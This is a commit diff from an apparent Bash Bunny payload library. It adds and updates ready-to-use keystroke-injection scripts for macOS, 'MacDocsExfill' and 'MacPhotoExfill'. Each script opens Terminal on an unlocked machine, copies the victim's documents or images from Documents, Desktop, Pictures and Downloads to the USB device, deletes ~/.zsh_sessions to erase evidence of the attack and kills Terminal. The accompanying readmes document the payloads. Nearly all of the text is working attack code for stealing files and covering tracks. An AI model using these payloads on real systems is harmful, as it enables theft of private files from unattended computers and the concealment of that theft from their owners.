Update of MacPhotoExfill & Create MacDocsExfill (#588)

* Update readme.md

* Update payload.txt

* Create MacDocsExfill

* Delete MacDocsExfill

* Add files via upload

payloads/library/exfiltration/MacDocsExfill/payload.txt

@@ -0,0 +1,78 @@
+#!/bin/bash
+#
+# Title:         MacDocsExfill
+# Author:        afsh4ck
+# Version:       1.0
+# Target:        MacOS
+# Category:      Exfiltration
+#
+# Exfilter all the images from the principal folders on unlocked MacOS targets.
+# Stashes them in /loot/MacDocsExfill
+#
+# Purple             Setup
+# Amber..............Attack Mode ON
+# Green..............Finished
+
+LED SETUP
+ATTACKMODE HID STORAGE ECM_ETHERNET
+GET TARGET_HOSTNAME
+QUACK DELAY 1000
+
+lootdir=loot/MacDocsExfill/$TARGET_HOSTNAME
+mkdir -p /root/udisk/$lootdir
+
+QUACK GUI SPACE
+QUACK DELAY 1000
+QUACK STRING terminal
+QUACK ENTER
+QUACK DELAY 2000
+
+LED STAGE 1
+
+QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Documents;
+QUACK ENTER
+QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Desktop;
+QUACK ENTER
+QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Downloads;
+QUACK ENTER
+QUACK STRING rsync -av Documents/**/*.{docx,xlsx,pdf} /Volumes/BashBunny/$lootdir/Documents ;
+QUACK ENTER
+QUACK STRING echo "Please wait while the files are copied...";
+QUACK ENTER
+QUACK STRING wait;
+QUACK ENTER
+QUACK STRING rsync -av Desktop/**/*.{docx,xlsx,pdf} /Volumes/BashBunny/$lootdir/Desktop ;
+QUACK ENTER
+QUACK STRING echo "Please wait while the files are copied...";
+QUACK ENTER
+QUACK STRING wait;
+QUACK ENTER
+QUACK STRING rsync -av Downloads/**/*.{docx,xlsx,pdf} /Volumes/BashBunny/$lootdir/Downloads ;
+QUACK ENTER
+QUACK STRING echo "Please wait while the files are copied...";
+QUACK ENTER
+QUACK STRING wait;
+QUACK ENTER
+
+# Ensure sincronization
+sync
+
+# Cleanup and delete proofs
+LED STAGE 2
+QUACK ENTER
+
+# Eject BB storage
+QUACK STRING diskutil eject /Volumes/BashBunny/
+QUACK ENTER
+QUACK DELAY 500
+
+# Remove terminal history from current session (commands used in attack won't be visible with the history command)
+QUACK STRING rm -r ~/.zsh_sessions
+QUACK ENTER
+QUACK DELAY 500
+
+# Exit terminal
+QUACK STRING killall Terminal
+QUACK ENTER
+
+LED FINISH

payloads/library/exfiltration/MacDocsExfill/readme.md

@@ -0,0 +1,46 @@
+# Mac Docs Exfilter for the BashBunny
+
+ _______    ______    ______         __    __ 
+|       \  /      \  /      \       |  \  |  \
+| $$$$$$$\|  $$$$$$\|  $$$$$$\      | $$  | $$
+| $$  | $$| $$  | $$| $$   \$$______ \$$\/  $$
+| $$  | $$| $$  | $$| $$     |      \ >$$  $$ 
+| $$  | $$| $$  | $$| $$   __ \$$$$$$/  $$$$\ 
+| $$__/ $$| $$__/ $$| $$__/  \      |  $$ \$$\
+| $$    $$ \$$    $$ \$$    $$      | $$  | $$
+ \$$$$$$$   \$$$$$$   \$$$$$$        \$$   \$$
+
+
+* Author:     afsh4ck
+* Version:    1.0
+* Target:     MacOS
+* Tested on:  Ventura 13.3.1
+* Category:   Exfiltration
+
+# DESCRIPTION
+
+Exfilter all the documents from the principal folders on unlocked MacOS targets.
+Stashes them in /loot/MacDocsExfill/$hostname grouped in subfolders:
+
+| Subfolder          | Content                                      |
+| ------------------ | -------------------------------------------- |
+| Documents          | All the docs in /root/Documents folder       |
+| Desktop            | All the docs in /root/Desktop folder         |
+| Downloads          | All the docs in /root/Downloads folder       |
+
+# IMAGE FORMATS
+
+| Format             | 
+| ------------------ |
+| .docx              | 
+| .xlsx              | 
+| .pdf               |
+
+# LED STATUS
+
+| LED                | Status                                       |
+| ------------------ | -------------------------------------------- |
+| Green              | Setup                                        |
+| Yellow Blink       | Attack Mode ON                               |
+| Purple Slow        | Cleaning all proofs                          |
+| Green Fixed        | Finish                                       |

payloads/library/exfiltration/MacPhotoExfill/payload.txt

@@ -2,7 +2,7 @@
 #
 # Title:         MacPhotoExfill
 # Author:        afsh4ck
-# Version:       1.0
+# Version:       1.1
 # Target:        MacOS
 # Category:      Exfiltration
 #
@@ -27,7 +27,7 @@ QUACK STRING terminal
 QUACK ENTER
 QUACK DELAY 2000
 
-LED ATTACK
+LED STAGE 1
 
 QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Documents;
 QUACK ENTER
@@ -37,33 +37,50 @@ QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Pictures;
 QUACK ENTER
 QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/Downloads;
 QUACK ENTER
-QUACK STRING cp Documents/*.{jpg,jpeg,png} /Volumes/BashBunny/$lootdir/Documents ;
+QUACK STRING rsync -av Documents/*.{jpg,jpeg,png} /Volumes/BashBunny/$lootdir/Documents ;
 QUACK ENTER
-QUACK STRING cp Desktop/*.{png,jpg,jpeg} /Volumes/BashBunny/$lootdir/Desktop ;
+QUACK STRING echo "Please wait while the files are copied...";
 QUACK ENTER
-QUACK STRING cp Pictures/*.{jpg,jpeg,png} /Volumes/BashBunny/$lootdir/Pictures ;
+QUACK STRING wait;
 QUACK ENTER
-QUACK STRING cp Downloads/*.{jpg,jpeg,png} /Volumes/BashBunny/$lootdir/Downloads ;
+QUACK STRING rsync -av Desktop/*.{png,jpg,jpeg} /Volumes/BashBunny/$lootdir/Desktop ;
 QUACK ENTER
-# We can control the time for the payload execution
-QUACK DELAY 25000
-QUACK CTRL C
-# Cleanup and delete proofs
-LED M SLOW
+QUACK STRING echo "Please wait while the files are copied...";
+QUACK ENTER
+QUACK STRING wait;
+QUACK ENTER
+QUACK STRING rsync -av Pictures/*.{jpg,jpeg,png} /Volumes/BashBunny/$lootdir/Pictures ;
+QUACK ENTER
+QUACK STRING echo "Please wait while the files are copied...";
+QUACK ENTER
+QUACK STRING wait;
 QUACK ENTER
+QUACK STRING rsync -av Downloads/*.{jpg,jpeg,png} /Volumes/BashBunny/$lootdir/Downloads ;
+QUACK ENTER
+QUACK STRING echo "Please wait while the files are copied...";
+QUACK ENTER
+QUACK STRING wait;
+QUACK ENTER
+
+# Ensure sincronization
+sync
+
+# Cleanup and delete proofs
+LED STAGE 2
 QUACK ENTER
+
 # Eject BB storage
 QUACK STRING diskutil eject /Volumes/BashBunny/
 QUACK ENTER
 QUACK DELAY 500
+
 # Remove terminal history from current session (commands used in attack won't be visible with the history command)
 QUACK STRING rm -r ~/.zsh_sessions
 QUACK ENTER
 QUACK DELAY 500
+
 # Exit terminal
 QUACK STRING killall Terminal
 QUACK ENTER
-# Ensure sincronization
-sync
 
-LED FINISH
+LED FINISH

payloads/library/exfiltration/MacPhotoExfill/readme.md

@@ -1,17 +1,14 @@
 # Mac Photo Exfilter for the BashBunny
 
-
-*      ___          ___       ___          ___          ___          ___          ___     
-*     /  /\        /  /\     /  /\        /__/\        /  /\        /  /\        /__/|    
-*    /  /::\      /  /:/_   /  /:/_       \  \:\      /  /::\      /  /:/       |  |:|    
-*   /  /:/\:\    /  /:/ /\ /  /:/ /\       \__\:\    /  /:/\:\    /  /:/        |  |:|    
-*  /  /:/ /::\  /  /:/ /://  /:/ /::\  ___ /  /::\  /  /:/ /::\  /  /:/  ___  __|  |:|    
-* /__/:/ /:/\:\/__/:/ /://__/:/ /:/\:\/__/\  /:/\:\/__/:/ /:/\:\/__/:/  /  /\/__/\_|:|____
-* \  \:\/:/__\/\  \:\/:/ \  \:\/:/ /:/\  \:\/:/__\/\  \:\/:/__\/\  \:\ /  /:/\  \:\/:::::/
-*  \  \::/      \  \::/   \  \::/ /:/  \  \::/      \  \::/      \  \:\  /:/  \  \::/--- 
-*   \  \:\       \  \:\    \__\/ /:/    \  \:\       \  \:\       \  \:\/:/    \  \:\     
-*    \  \:\       \  \:\     /__/:/      \  \:\       \  \:\       \  \::/      \  \:\    
-*     \__\/        \__\/     \__\/        \__\/        \__\/        \__\/        \__\/    
+ _______   __    __   ______  ________   ______          __    __ 
+|       \ |  \  |  \ /      \|        \ /      \        |  \  |  \
+| $$$$$$$\| $$  | $$|  $$$$$$\\$$$$$$$$|  $$$$$$\       | $$  | $$
+| $$__/ $$| $$__| $$| $$  | $$  | $$   | $$  | $$ ______ \$$\/  $$
+| $$    $$| $$    $$| $$  | $$  | $$   | $$  | $$|      \ >$$  $$ 
+| $$$$$$$ | $$$$$$$$| $$  | $$  | $$   | $$  | $$ \$$$$$$/  $$$$\ 
+| $$      | $$  | $$| $$__/ $$  | $$   | $$__/ $$       |  $$ \$$\
+| $$      | $$  | $$ \$$    $$  | $$    \$$    $$       | $$  | $$
+ \$$       \$$   \$$  \$$$$$$    \$$     \$$$$$$         \$$   \$$
 
 
 * Author:     afsh4ck
@@ -47,4 +44,4 @@ Stashes them in /loot/MacPhotoExfill/$hostname grouped in subfolders:
 | Green              | Setup                                        |
 | Yellow Blink       | Attack Mode ON                               |
 | Purple Slow        | Cleaning all proofs                          |
-| Green Fixed        | Finish            |
+| Green Fixed        | Finish                                       |